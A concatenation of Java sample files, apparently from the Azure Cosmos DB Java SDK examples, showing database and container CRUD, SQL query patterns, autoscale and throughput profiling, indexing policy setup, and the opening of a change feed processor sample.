logger.info(String.format("First query result: Family with (/id, partition key) = (%s,%s)",family.getId(),family.getLastName()));
}
logger.info("Done.");
}
// Database Create
private void createDatabaseIfNotExists() throws Exception {
logger.info("Create database " + databaseName + " if not exists...");
// Create database if not exists
CosmosDatabaseResponse databaseResponse = client.createDatabaseIfNotExists(databaseName);
database = client.getDatabase(databaseResponse.getProperties().getId());
logger.info("Done.");
}
// Container create
private void createContainerIfNotExists() throws Exception {
logger.info("Create container " + containerName + " if not exists.");
// Create container if not exists
CosmosContainerProperties containerProperties =
new CosmosContainerProperties(containerName, "/lastName");
// Provision throughput
ThroughputProperties throughputProperties = ThroughputProperties.createManualThroughput(400);
// Create container with 200 RU/s
CosmosContainerResponse containerResponse = database.createContainerIfNotExists(containerProperties, throughputProperties);
container = database.getContainer(containerResponse.getProperties().getId());
logger.info("Done.");
}
private void createDocument() throws Exception {
logger.info("Create document " + documentId);
// Define a document as a POJO (internally this
// is converted to JSON via custom serialization)
Family family = new Family();
family.setLastName(documentLastName);
family.setId(documentId);
// Insert this item as a document
// Explicitly specifying the /pk value improves performance.
container.createItem(family,new PartitionKey(family.getLastName()),new CosmosItemRequestOptions());
logger.info("Done.");
}
private void queryAllDocuments() throws Exception {
logger.info("Query all documents.");
executeQueryPrintSingleResult("SELECT * FROM c");
}
private void queryWithPagingAndContinuationTokenAndPrintQueryCharge(CosmosQueryRequestOptions options) throws Exception {
logger.info("Query with paging and continuation token; print the total RU charge of the query");
String query = "SELECT * FROM Families";
int pageSize = 100; //No of docs per page
int currentPageNumber = 1;
int documentNumber = 0;
String continuationToken = null;
double requestCharge = 0.0;
// First iteration (continuationToken = null): Receive a batch of query response pages
// Subsequent iterations (continuationToken != null): Receive subsequent batch of query response pages, with continuationToken indicating where the previous iteration left off
do {
logger.info("Receiving a set of query response pages.");
logger.info("Continuation Token: " + continuationToken + "\n");
CosmosQueryRequestOptions queryOptions = new CosmosQueryRequestOptions();
Iterable<FeedResponse<Family>> feedResponseIterator =
container.queryItems(query, queryOptions, Family.class).iterableByPage(continuationToken,pageSize);
for (FeedResponse<Family> page : feedResponseIterator) {
logger.info(String.format("Current page number: %d", currentPageNumber));
// Access all of the documents in this result page
for (Family docProps : page.getResults()) {
documentNumber++;
}
// Accumulate the request charge of this page
requestCharge += page.getRequestCharge();
// Page count so far
logger.info(String.format("Total documents received so far: %d", documentNumber));
// Request charge so far
logger.info(String.format("Total request charge so far: %f\n", requestCharge));
// Along with page results, get a continuation token
// which enables the client to "pick up where it left off"
// in accessing query response pages.
continuationToken = page.getContinuationToken();
currentPageNumber++;
}
} while (continuationToken != null);
logger.info(String.format("Total request charge: %f\n", requestCharge));
}
private void parallelQueryWithPagingAndContinuationTokenAndPrintQueryCharge() throws Exception {
logger.info("Parallel implementation of:");
CosmosQueryRequestOptions options = new CosmosQueryRequestOptions();
// 0 maximum parallel tasks, effectively serial execution
options.setMaxDegreeOfParallelism(0);
options.setMaxBufferedItemCount(100);
queryWithPagingAndContinuationTokenAndPrintQueryCharge(options);
// 1 maximum parallel tasks, 1 dedicated asynchronous task to continuously make REST calls
options.setMaxDegreeOfParallelism(1);
options.setMaxBufferedItemCount(100);
queryWithPagingAndContinuationTokenAndPrintQueryCharge(options);
// 10 maximum parallel tasks, a maximum of 10 dedicated asynchronous tasks to continuously make REST calls
options.setMaxDegreeOfParallelism(10);
options.setMaxBufferedItemCount(100);
queryWithPagingAndContinuationTokenAndPrintQueryCharge(options);
logger.info("Done with parallel queries.");
}
private void queryEquality() throws Exception {
logger.info("Query for equality using =");
executeQueryPrintSingleResult("SELECT * FROM c WHERE c.id = '" + documentId + "'");
}
private void queryInequality() throws Exception {
logger.info("Query for inequality");
executeQueryPrintSingleResult("SELECT * FROM c WHERE c.id != '" + documentId + "'");
executeQueryPrintSingleResult("SELECT * FROM c WHERE c.id <> '" + documentId + "'");
// Combine equality and inequality
executeQueryPrintSingleResult("SELECT * FROM c WHERE c.lastName = '" + documentLastName + "' AND c.id != '" + documentId + "'");
}
private void queryRange() throws Exception {
logger.info("Numerical range query");
// Numerical range query
executeQueryPrintSingleResult("SELECT * FROM Families f WHERE f.Children[0].Grade > 5");
}
private void queryRangeAgainstStrings() throws Exception {
logger.info("String range query");
// String range query
executeQueryPrintSingleResult("SELECT * FROM Families f WHERE f.Address.State > 'NY'");
}
private void queryOrderBy() throws Exception {
logger.info("ORDER BY queries");
// Numerical ORDER BY
executeQueryPrintSingleResult("SELECT * FROM Families f WHERE f.LastName = 'Andersen' ORDER BY f.Children[0].Grade");
}
private void queryDistinct() throws Exception {
logger.info("DISTINCT queries");
// DISTINCT query
executeQueryPrintSingleResult("SELECT DISTINCT c.lastName from c");
}
private void queryWithAggregateFunctions() throws Exception {
logger.info("Aggregate function queries");
// Basic query with aggregate functions
executeCountQueryPrintSingleResult("SELECT VALUE COUNT(f) FROM Families f WHERE f.LastName = 'Andersen'");
// Query with aggregate functions within documents
executeCountQueryPrintSingleResult("SELECT VALUE COUNT(child) FROM child IN f.Children");
}
private void querySubdocuments() throws Exception {
// Cosmos DB supports the selection of sub-documents on the server, there
// is no need to send down the full family record if all you want to display
// is a single child
logger.info("Subdocument query");
executeQueryPrintSingleResult("SELECT VALUE c FROM c IN f.Children");
}
private void queryIntraDocumentJoin() throws Exception {
// Cosmos DB supports the notion of an Intra-document Join, or a self-join
// which will effectively flatten the hierarchy of a document, just like doing
// a self JOIN on a SQL table
logger.info("Intra-document joins");
// Single join
executeQueryPrintSingleResult("SELECT f.id FROM Families f JOIN c IN f.Children");
// Two joins
executeQueryPrintSingleResult("SELECT f.id as family, c.FirstName AS child, p.GivenName AS pet " +
"FROM Families f " +
"JOIN c IN f.Children " +
"join p IN c.Pets");
// Two joins and a filter
executeQueryPrintSingleResult("SELECT f.id as family, c.FirstName AS child, p.GivenName AS pet " +
"FROM Families f " +
"JOIN c IN f.Children " +
"join p IN c.Pets " +
"WHERE p.GivenName = 'Fluffy'");
}
private void queryStringMathAndArrayOperators() throws Exception {
logger.info("Queries with string, math and array operators");
// String STARTSWITH operator
executeQueryPrintSingleResult("SELECT * FROM family WHERE STARTSWITH(family.LastName, 'An')");
// Round down numbers with FLOOR
executeQueryPrintSingleResult("SELECT VALUE FLOOR(family.Children[0].Grade) FROM family");
// Get number of children using array length
executeQueryPrintSingleResult("SELECT VALUE ARRAY_LENGTH(family.Children) FROM family");
}
private void queryWithQuerySpec() throws Exception {
logger.info("Query with SqlQuerySpec");
CosmosQueryRequestOptions options = new CosmosQueryRequestOptions();
options.setPartitionKey(new PartitionKey("Witherspoon"));
// Simple query with a single property equality comparison
// in SQL with SQL parameterization instead of inlining the
// parameter values in the query string
ArrayList<SqlParameter> paramList = new ArrayList<SqlParameter>();
paramList.add(new SqlParameter("@id", "AndersenFamily"));
SqlQuerySpec querySpec = new SqlQuerySpec(
"SELECT * FROM Families f WHERE (f.id = @id)",
paramList);
executeQueryWithQuerySpecPrintSingleResult(querySpec);
// Query using two properties within each document. WHERE Id = "" AND Address.City = ""
// notice here how we are doing an equality comparison on the string value of City
paramList = new ArrayList<SqlParameter>();
paramList.add(new SqlParameter("@id", "AndersenFamily"));
paramList.add(new SqlParameter("@city", "Seattle"));
querySpec = new SqlQuerySpec(
"SELECT * FROM Families f WHERE f.id = @id AND f.Address.City = @city",
paramList);
executeQueryWithQuerySpecPrintSingleResult(querySpec);
}
// Document delete
private void deleteADocument() throws Exception {
logger.info("Delete document " + documentId + " by ID.");
// Delete document
container.deleteItem(documentId, new PartitionKey(documentLastName), new CosmosItemRequestOptions());
logger.info("Done.");
}
// Database delete
private void deleteADatabase() throws Exception {
logger.info("Last step: delete database " + databaseName + " by ID.");
// Delete database
CosmosDatabaseResponse dbResp = client.getDatabase(databaseName).delete(new CosmosDatabaseRequestOptions());
logger.info("Status code for database delete: {}",dbResp.getStatusCode());
logger.info("Done.");
}
// Cleanup before close
private void shutdown() {
try {
//Clean shutdown
deleteADocument();
deleteADatabase();
} catch (Exception err) {
logger.error("Deleting Cosmos DB resources failed, will still attempt to close the client. See stack trace below.");
err.printStackTrace();
}
client.close();
logger.info("Done with sample.");
}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/usermanagement/sync/UserManagementQuickstartSync.java<|end_filename|>
package com.azure.cosmos.examples.usermanagement.sync;
public class UserManagementQuickstartSync {
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/autoscaledatabasecrud/sync/AutoscaleDatabaseCRUDQuickstart.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.autoscaledatabasecrud.sync;
import com.azure.cosmos.ConsistencyLevel;
import com.azure.cosmos.CosmosClient;
import com.azure.cosmos.CosmosClientBuilder;
import com.azure.cosmos.CosmosDatabase;
import com.azure.cosmos.examples.common.AccountSettings;
import com.azure.cosmos.models.CosmosDatabaseProperties;
import com.azure.cosmos.models.CosmosDatabaseRequestOptions;
import com.azure.cosmos.models.CosmosDatabaseResponse;
import com.azure.cosmos.models.ThroughputProperties;
import com.azure.cosmos.util.CosmosPagedIterable;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class AutoscaleDatabaseCRUDQuickstart {
private CosmosClient client;
private final String databaseName = "AzureSampleFamilyDB";
private CosmosDatabase database;
protected static Logger logger = LoggerFactory.getLogger(AutoscaleDatabaseCRUDQuickstart.class);
public void close() {
client.close();
}
/**
* Sample to demonstrate the following AUTOSCALE database CRUD operations:
* -Create
* -Read by ID
* -Read all
* -Delete
*/
public static void main(String[] args) {
AutoscaleDatabaseCRUDQuickstart p = new AutoscaleDatabaseCRUDQuickstart();
try {
logger.info("Starting SYNC main");
p.autoscaleDatabaseCRUDDemo();
logger.info("Demo complete, please hold while resources are released");
} catch (Exception e) {
e.printStackTrace();
logger.error(String.format("Cosmos getStarted failed with %s", e));
} finally {
logger.info("Closing the client");
p.shutdown();
}
}
private void autoscaleDatabaseCRUDDemo() throws Exception {
logger.info("Using Azure Cosmos DB endpoint: " + AccountSettings.HOST);
// Create sync client
client = new CosmosClientBuilder()
.endpoint(AccountSettings.HOST)
.key(AccountSettings.MASTER_KEY)
.consistencyLevel(ConsistencyLevel.EVENTUAL)
.contentResponseOnWriteEnabled(true)
.buildClient();
createDatabaseIfNotExists();
readDatabaseById();
readAllDatabases();
// deleteADatabase() is called at shutdown()
}
// Database Create
private void createDatabaseIfNotExists() throws Exception {
logger.info("Create database " + databaseName + " if not exists...");
// Autoscale throughput settings
ThroughputProperties autoscaleThroughputProperties = ThroughputProperties.createAutoscaledThroughput(4000); //Set autoscale max RU/s
//Create the database with autoscale enabled
CosmosDatabaseResponse databaseResponse = client.createDatabaseIfNotExists(databaseName, autoscaleThroughputProperties);
database = client.getDatabase(databaseResponse.getProperties().getId());
logger.info("Done.");
}
// Database read
private void readDatabaseById() throws Exception {
logger.info("Read database " + databaseName + " by ID.");
// Read database by ID
database = client.getDatabase(databaseName);
logger.info("Done.");
}
// Database read all
private void readAllDatabases() throws Exception {
logger.info("Read all databases in the account.");
// Read all databases in the account
CosmosPagedIterable<CosmosDatabaseProperties> databases = client.readAllDatabases();
// Print
String msg="Listing databases in account:\n";
for(CosmosDatabaseProperties dbProps : databases) {
msg += String.format("-Database ID: %s\n",dbProps.getId());
}
logger.info(msg + "\n");
logger.info("Done.");
}
// Database delete
private void deleteADatabase() throws Exception {
logger.info("Last step: delete database " + databaseName + " by ID.");
// Delete database
CosmosDatabaseResponse dbResp = client.getDatabase(databaseName).delete(new CosmosDatabaseRequestOptions());
logger.info("Status code for database delete: {}",dbResp.getStatusCode());
logger.info("Done.");
}
// Cleanup before close
private void shutdown() {
try {
//Clean shutdown
deleteADatabase();
} catch (Exception err) {
logger.error("Deleting Cosmos DB resources failed, will still attempt to close the client. See stack trace below.");
err.printStackTrace();
}
client.close();
logger.info("Done with sample.");
}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/common/CustomPOJO.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.common;
public class CustomPOJO {
private String id;
private String city;
public CustomPOJO() {
}
public CustomPOJO(String id, String city) {
this.id = id;
this.city = city;
}
public CustomPOJO(String id) {
this.id = id;
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getCity() { return city; }
public void setCity(String city) { this.city = city; }
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/requestthroughput/async/SampleRequestThroughputAsync.java<|end_filename|>
package com.azure.cosmos.examples.requestthroughput.async;
import com.azure.cosmos.ConsistencyLevel;
import com.azure.cosmos.CosmosAsyncClient;
import com.azure.cosmos.CosmosAsyncContainer;
import com.azure.cosmos.CosmosAsyncDatabase;
import com.azure.cosmos.CosmosClientBuilder;
import com.azure.cosmos.examples.common.AccountSettings;
import com.azure.cosmos.examples.common.Profile;
import com.azure.cosmos.models.CosmosContainerProperties;
import com.azure.cosmos.models.ThroughputProperties;
import com.fasterxml.jackson.databind.JsonNode;
import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import java.util.ArrayList;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicInteger;
/*
* Async Request Throughput Sample
*
* Please note that perf testing incurs costs for provisioning container throughput and storage.
*
* This throughput profiling sample issues high-throughput document insert requests to an Azure Cosmos DB container.
* Run this code in a geographically colocated VM for best performance.
*
* Example configuration
* -Provision 100000 RU/s container throughput
* -Generate 4M documents
* -Result: ~60K RU/s actual throughput
*/
public class SampleRequestThroughputAsync {
protected static Logger logger = LoggerFactory.getLogger(SampleRequestThroughputAsync.class);
public static void main(String[] args) {
try {
requestThroughputDemo();
} catch(Exception err) {
logger.error("Failed running demo: ", err);
}
}
private static CosmosAsyncClient client;
private static CosmosAsyncDatabase database;
private static CosmosAsyncContainer container;
private static AtomicBoolean resources_created = new AtomicBoolean(false);
private static AtomicInteger number_docs_inserted = new AtomicInteger(0);
private static AtomicBoolean resources_deleted = new AtomicBoolean(false);
private static AtomicInteger total_charge = new AtomicInteger(0);
public static void requestThroughputDemo() {
// Create Async client.
// Building an async client is still a sync operation.
client = new CosmosClientBuilder()
.endpoint(AccountSettings.HOST)
.key(AccountSettings.MASTER_KEY)
.consistencyLevel(ConsistencyLevel.EVENTUAL)
.contentResponseOnWriteEnabled(true)
.buildAsyncClient();
// Describe the logic of database and container creation using Reactor...
Mono<Void> databaseContainerIfNotExist = client.createDatabaseIfNotExists("ContosoInventoryDB").flatMap(databaseResponse -> {
database = client.getDatabase(databaseResponse.getProperties().getId());
logger.info("\n\n\n\nCreated database ContosoInventoryDB.\n\n\n\n");
CosmosContainerProperties containerProperties = new CosmosContainerProperties("ContosoInventoryContainer", "/id");
ThroughputProperties throughputProperties = ThroughputProperties.createManualThroughput(400);
return database.createContainerIfNotExists(containerProperties, throughputProperties);
}).flatMap(containerResponse -> {
container = database.getContainer(containerResponse.getProperties().getId());
logger.info("\n\n\n\nCreated container ContosoInventoryContainer.\n\n\n\n");
return Mono.empty();
});
// ...it doesn't execute until you subscribe().
// The async call returns immediately...
logger.info("Creating database and container asynchronously...");
databaseContainerIfNotExist.subscribe(voidItem -> {}, err -> {},
() -> {
logger.info("Finished creating resources.\n\n");
resources_created.set(true);
});
// ...so we can do other things until async response arrives!
logger.info("Doing other things until async resource creation completes......");
while (!resources_created.get()) Profile.doOtherThings();
// Container is created. Generate many docs to insert.
int number_of_docs = 50000;
logger.info("Generating {} documents...", number_of_docs);
ArrayList<JsonNode> docs = Profile.generateDocs(number_of_docs);
// Insert many docs into container...
logger.info("Inserting {} documents...", number_of_docs);
Profile.tic();
int last_docs_inserted=0;
double last_total_charge=0.0;
Flux.fromIterable(docs).flatMap(doc -> container.createItem(doc))
// ^Publisher: upon subscription, createItem inserts a doc &
// publishes request response to the next operation...
.flatMap(itemResponse -> {
// ...Streaming operation: count each doc & check success...
if (itemResponse.getStatusCode() == 201) {
number_docs_inserted.getAndIncrement();
total_charge.getAndAdd((int)(itemResponse.getRequestCharge()));
}
else
logger.warn("WARNING insert status code {} != 201", itemResponse.getStatusCode());
return Mono.empty();
}).subscribe(); // ...Subscribing to the publisher triggers stream execution.
// Do other things until async response arrives
logger.info("Doing other things until async doc inserts complete...");
//while (number_docs_inserted.get() < number_of_docs) Profile.doOtherThings();
double toc_time=0.0;
int current_docs_inserted=0;
double current_total_charge=0.0, rps=0.0, rups=0.0;
while (number_docs_inserted.get() < number_of_docs) {
toc_time=Profile.toc_ms();
current_docs_inserted=number_docs_inserted.get();
current_total_charge=total_charge.get();
if (toc_time >= 1000.0) {
Profile.tic();
rps=1000.0*((double)(current_docs_inserted-last_docs_inserted))/toc_time;
rups=1000.0*(current_total_charge-last_total_charge)/toc_time;
logger.info(String.format("\n\n\n\n" +
"Async Throughput Profiler Result, Last 1000ms:" + "\n\n" +
"%8s %8s", StringUtils.center("Req/sec",8),StringUtils.center("RU/s",8)) + "\n"
+ "----------------------------------" + "\n"
+ String.format("%8.1f %8.1f",rps,rups) + "\n\n\n\n");
last_docs_inserted=current_docs_inserted;
last_total_charge=current_total_charge;
}
}
// Inserts are complete. Cleanup (asynchronously!)
logger.info("Deleting resources.");
container.delete()
.flatMap(containerResponse -> database.delete())
.subscribe(dbItem -> {}, err -> {},
() -> {
logger.info("Finished deleting resources.");
resources_deleted.set(true);
});
// Do other things until async response arrives
logger.info("Do other things until async resource delete completes...");
while (!resources_deleted.get()) Profile.doOtherThings();
// Close client. This is always sync.
logger.info("Closing client...");
client.close();
logger.info("Done with demo.");
}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/indexmanagement/async/SampleIndexManagementAsync.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.indexmanagement.async;
import com.azure.cosmos.ConsistencyLevel;
import com.azure.cosmos.CosmosAsyncClient;
import com.azure.cosmos.CosmosAsyncContainer;
import com.azure.cosmos.CosmosAsyncDatabase;
import com.azure.cosmos.CosmosClientBuilder;
import com.azure.cosmos.CosmosException;
import com.azure.cosmos.examples.common.AccountSettings;
import com.azure.cosmos.examples.common.Families;
import com.azure.cosmos.examples.common.Family;
import com.azure.cosmos.models.CosmosContainerProperties;
import com.azure.cosmos.models.CosmosContainerResponse;
import com.azure.cosmos.models.CosmosDatabaseResponse;
import com.azure.cosmos.models.CosmosItemResponse;
import com.azure.cosmos.models.CosmosQueryRequestOptions;
import com.azure.cosmos.models.ExcludedPath;
import com.azure.cosmos.models.IncludedPath;
import com.azure.cosmos.models.IndexingMode;
import com.azure.cosmos.models.IndexingPolicy;
import com.azure.cosmos.models.PartitionKey;
import com.azure.cosmos.models.ThroughputProperties;
import com.azure.cosmos.util.CosmosPagedFlux;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import java.time.Duration;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.stream.Collectors;
public class SampleIndexManagementAsync {
private CosmosAsyncClient client;
private final String databaseName = "AzureSampleFamilyDB";
private final String containerName = "FamilyContainer";
private CosmosAsyncDatabase database;
private CosmosAsyncContainer container;
protected static Logger logger = LoggerFactory.getLogger(SampleIndexManagementAsync.class);
public void close() {
client.close();
}
/**
* Run a Hello CosmosDB console application.
* <p>
* This sample is similar to SampleConflictFeedAsync, but modified to show indexing capabilities of Cosmos DB.
* Look at the implementation of createContainerIfNotExistsWithSpecifiedIndex() for the demonstration of
* indexing capabilities.
*/
// <Main>
public static void main(String[] args) {
SampleIndexManagementAsync p = new SampleIndexManagementAsync();
try {
logger.info("Starting ASYNC main");
p.indexManagementDemo();
logger.info("Demo complete, please hold while resources are released");
} catch (Exception e) {
e.printStackTrace();
logger.error(String.format("Cosmos getStarted failed with %s", e));
} finally {
logger.info("Closing the client");
p.shutdown();
}
}
// </Main>
private void indexManagementDemo() throws Exception {
logger.info("Using Azure Cosmos DB endpoint: " + AccountSettings.HOST);
ArrayList<String> preferredRegions = new ArrayList<String>();
preferredRegions.add("West US");
// Create async client
// <CreateAsyncClient>
client = new CosmosClientBuilder()
.endpoint(AccountSettings.HOST)
.key(AccountSettings.MASTER_KEY)
.preferredRegions(preferredRegions)
.consistencyLevel(ConsistencyLevel.EVENTUAL)
.contentResponseOnWriteEnabled(true)
.buildAsyncClient();
// </CreateAsyncClient>
createDatabaseIfNotExists();
//Here is where index management is performed
createContainerIfNotExistsWithSpecifiedIndex();
Family andersenFamilyItem = Families.getAndersenFamilyItem();
Family wakefieldFamilyItem = Families.getWakefieldFamilyItem();
Family johnsonFamilyItem = Families.getJohnsonFamilyItem();
Family smithFamilyItem = Families.getSmithFamilyItem();
// Setup family items to create
Flux<Family> familiesToCreate = Flux.just(andersenFamilyItem,
wakefieldFamilyItem,
johnsonFamilyItem,
smithFamilyItem);
createFamilies(familiesToCreate);
familiesToCreate = Flux.just(andersenFamilyItem,
wakefieldFamilyItem,
johnsonFamilyItem,
smithFamilyItem);
logger.info("Reading items.");
readItems(familiesToCreate);
logger.info("Querying items.");
queryItems();
}
private void createDatabaseIfNotExists() throws Exception {
logger.info("Create database " + databaseName + " if not exists.");
// Create database if not exists
// <CreateDatabaseIfNotExists>
Mono<CosmosDatabaseResponse> databaseIfNotExists = client.createDatabaseIfNotExists(databaseName);
databaseIfNotExists.flatMap(databaseResponse -> {
database = client.getDatabase(databaseResponse.getProperties().getId());
logger.info("Checking database " + database.getId() + " completed!\n");
return Mono.empty();
}).block();
// </CreateDatabaseIfNotExists>
}
private void createContainerIfNotExistsWithSpecifiedIndex() throws Exception {
logger.info("Create container " + containerName + " if not exists.");
// Create container if not exists
// <CreateContainerIfNotExists>
CosmosContainerProperties containerProperties = new CosmosContainerProperties(containerName, "/lastName");
// <CustomIndexingPolicy>
IndexingPolicy indexingPolicy = new IndexingPolicy();
indexingPolicy.setIndexingMode(IndexingMode.CONSISTENT); //To turn indexing off set IndexingMode.NONE
// Included paths
List<IncludedPath> includedPaths = new ArrayList<>();
includedPaths.add(new IncludedPath("/*"));
indexingPolicy.setIncludedPaths(includedPaths);
// Excluded paths
List<ExcludedPath> excludedPaths = new ArrayList<>();
excludedPaths.add(new ExcludedPath("/name/*"));
indexingPolicy.setExcludedPaths(excludedPaths);
// Spatial indices - if you need them, here is how to set them up:
/*
List<SpatialSpec> spatialIndexes = new ArrayList<SpatialSpec>();
List<SpatialType> collectionOfSpatialTypes = new ArrayList<SpatialType>();
SpatialSpec spec = new SpatialSpec();
spec.setPath("/locations/*");
collectionOfSpatialTypes.add(SpatialType.Point);
spec.setSpatialTypes(collectionOfSpatialTypes);
spatialIndexes.add(spec);
indexingPolicy.setSpatialIndexes(spatialIndexes);
*/
// Composite indices - if you need them, here is how to set them up:
/*
List<List<CompositePath>> compositeIndexes = new ArrayList<>();
List<CompositePath> compositePaths = new ArrayList<>();
CompositePath nameCompositePath = new CompositePath();
nameCompositePath.setPath("/name");
nameCompositePath.setOrder(CompositePathSortOrder.ASCENDING);
CompositePath ageCompositePath = new CompositePath();
ageCompositePath.setPath("/age");
ageCompositePath.setOrder(CompositePathSortOrder.DESCENDING);
compositePaths.add(ageCompositePath);
compositePaths.add(nameCompositePath);
compositeIndexes.add(compositePaths);
indexingPolicy.setCompositeIndexes(compositeIndexes);
*/
containerProperties.setIndexingPolicy(indexingPolicy);
// </CustomIndexingPolicy>
ThroughputProperties throughputProperties = ThroughputProperties.createManualThroughput(400);
Mono<CosmosContainerResponse> containerIfNotExists = database.createContainerIfNotExists(containerProperties, throughputProperties);
// Create container with 400 RU/s
containerIfNotExists.flatMap(containerResponse -> {
container = database.getContainer(containerResponse.getProperties().getId());
logger.info("Checking container " + container.getId() + " completed!\n");
return Mono.empty();
}).block();
// </CreateContainerIfNotExists>
}
private void createFamilies(Flux<Family> families) throws Exception {
// <CreateItem>
final CountDownLatch completionLatch = new CountDownLatch(1);
// Combine multiple item inserts, associated success println's, and a final aggregate stats println into one Reactive stream.
families.flatMap(family -> {
return container.createItem(family);
}) //Flux of item request responses
.flatMap(itemResponse -> {
logger.info(String.format("Created item with request charge of %.2f within" +
" duration %s",
itemResponse.getRequestCharge(), itemResponse.getDuration()));
logger.info(String.format("Item ID: %s\n", itemResponse.getItem().getId()));
return Mono.just(itemResponse.getRequestCharge());
}) //Flux of request charges
.reduce(0.0,
(charge_n, charge_nplus1) -> charge_n + charge_nplus1
) //Mono of total charge - there will be only one item in this stream
.subscribe(charge -> {
logger.info(String.format("Created items with total request charge of %.2f\n",
charge));
},
err -> {
if (err instanceof CosmosException) {
//Client-specific errors
CosmosException cerr = (CosmosException) err;
cerr.printStackTrace();
logger.info(String.format("Read Item failed with %s\n", cerr));
} else {
//General errors
err.printStackTrace();
}
completionLatch.countDown();
},
() -> {
completionLatch.countDown();
}
); //Preserve the total charge and print aggregate charge/item count stats.
try {
completionLatch.await();
} catch (InterruptedException err) {
throw new AssertionError("Unexpected Interruption", err);
}
// </CreateItem>
}
private void readItems(Flux<Family> familiesToCreate) {
// Using partition key for point read scenarios.
// This will help fast look up of items because of partition key
// <ReadItem>
final CountDownLatch completionLatch = new CountDownLatch(1);
familiesToCreate.flatMap(family -> {
Mono<CosmosItemResponse<Family>> asyncItemResponseMono = container.readItem(family.getId(), new PartitionKey(family.getLastName()), Family.class);
return asyncItemResponseMono;
})
.subscribe(
itemResponse -> {
double requestCharge = itemResponse.getRequestCharge();
Duration requestLatency = itemResponse.getDuration();
logger.info(String.format("Item successfully read with id %s with a charge of %.2f and within duration %s",
itemResponse.getItem().getId(), requestCharge, requestLatency));
},
err -> {
if (err instanceof CosmosException) {
//Client-specific errors
CosmosException cerr = (CosmosException) err;
cerr.printStackTrace();
logger.info(String.format("Read Item failed with %s\n", cerr));
} else {
//General errors
err.printStackTrace();
}
completionLatch.countDown();
},
() -> {
completionLatch.countDown();
}
);
try {
completionLatch.await();
} catch (InterruptedException err) {
throw new AssertionError("Unexpected Interruption", err);
}
// </ReadItem>
}
private void queryItems() {
// <QueryItems>
// Set some common query options
int preferredPageSize = 10;
CosmosQueryRequestOptions queryOptions = new CosmosQueryRequestOptions();
// Set populate query metrics to get metrics around query executions
queryOptions.setQueryMetricsEnabled(true);
CosmosPagedFlux<Family> pagedFluxResponse = container.queryItems(
"SELECT * FROM Family WHERE Family.lastName IN ('Andersen', 'Wakefield', 'Johnson')", queryOptions, Family.class);
final CountDownLatch completionLatch = new CountDownLatch(1);
pagedFluxResponse.byPage(preferredPageSize).subscribe(
fluxResponse -> {
logger.info("Got a page of query result with " +
fluxResponse.getResults().size() + " items(s)"
+ " and request charge of " + fluxResponse.getRequestCharge());
logger.info("Item Ids " + fluxResponse
.getResults()
.stream()
.map(Family::getId)
.collect(Collectors.toList()));
},
err -> {
if (err instanceof CosmosException) {
//Client-specific errors
CosmosException cerr = (CosmosException) err;
cerr.printStackTrace();
logger.error(String.format("Read Item failed with %s\n", cerr));
} else {
//General errors
err.printStackTrace();
}
completionLatch.countDown();
},
() -> {
completionLatch.countDown();
}
);
try {
completionLatch.await();
} catch (InterruptedException err) {
throw new AssertionError("Unexpected Interruption", err);
}
// </QueryItems>
}
private void shutdown() {
try {
//Clean shutdown
logger.info("Deleting Cosmos DB resources");
logger.info("-Deleting container...");
if (container != null)
container.delete().subscribe();
logger.info("-Deleting database...");
if (database != null)
database.delete().subscribe();
logger.info("-Closing the client...");
} catch (Exception err) {
logger.error("Deleting Cosmos DB resources failed, will still attempt to close the client. See stack trace below.");
err.printStackTrace();
}
client.close();
logger.info("Done.");
}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/changefeed/SampleChangeFeedProcessor.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.changefeed;
import com.azure.cosmos.ChangeFeedProcessor;
import com.azure.cosmos.ChangeFeedProcessorBuilder;
import com.azure.cosmos.ConsistencyLevel;
import com.azure.cosmos.CosmosAsyncClient;
import com.azure.cosmos.CosmosAsyncContainer;
import com.azure.cosmos.CosmosAsyncDatabase;
import com.azure.cosmos.CosmosClientBuilder;
import com.azure.cosmos.CosmosException;
import com.azure.cosmos.examples.common.CustomPOJO2;
import com.azure.cosmos.implementation.Utils;
import com.azure.cosmos.implementation.apachecommons.lang.RandomStringUtils;
import com.azure.cosmos.models.CosmosContainerProperties;
import com.azure.cosmos.models.CosmosContainerRequestOptions;
import com.azure.cosmos.models.CosmosContainerResponse;
import com.azure.cosmos.models.CosmosDatabaseResponse;
import com.azure.cosmos.models.ThroughputProperties;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import reactor.core.scheduler.Schedulers;
import java.time.Duration;
import java.util.List;
/**
* Sample for Change Feed Processor.
* This sample models an application where documents are being inserted into one container (the "feed container"),
* and meanwhile another worker thread or worker application is pulling inserted documents from the feed container's Change Feed
* and operating on them in some way. For one or more workers to process the Change Feed of a container, the workers must first contact the server
* and "lease" access to monitor one or more partitions of the feed container. The Change Feed Processor Library
* handles leasing automatically for you, however you must create a separate "lease container" where the Change Feed
* Processor Library can store and track leases container partitions.
*/
public class SampleChangeFeedProcessor {
public static int WAIT_FOR_WORK = 60000;
public static final String DATABASE_NAME = "db_" + RandomStringUtils.randomAlphabetic(7);
public static final String COLLECTION_NAME = "coll_" + RandomStringUtils.randomAlphabetic(7);
